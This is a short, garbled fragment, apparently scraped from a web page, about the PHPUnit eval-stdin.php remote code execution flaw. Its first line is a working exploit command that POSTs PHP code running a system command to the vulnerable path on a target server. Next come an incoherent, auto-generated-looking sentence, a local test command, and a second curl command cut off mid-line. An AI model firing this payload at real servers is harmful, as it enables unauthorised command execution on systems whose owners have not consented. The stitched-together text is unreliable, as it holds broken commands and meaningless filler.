curl -X POST --data "<?php system('id'); ?>" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Given these elements, here are a few possible interpretations: index of vendor phpunit phpunit src util php evalstdinphp
$ echo "<?php echo 'Hello, World!';" | php vendor/phpunit/phpunit/src/util/php/evalStdin.php curl -X POST --data "<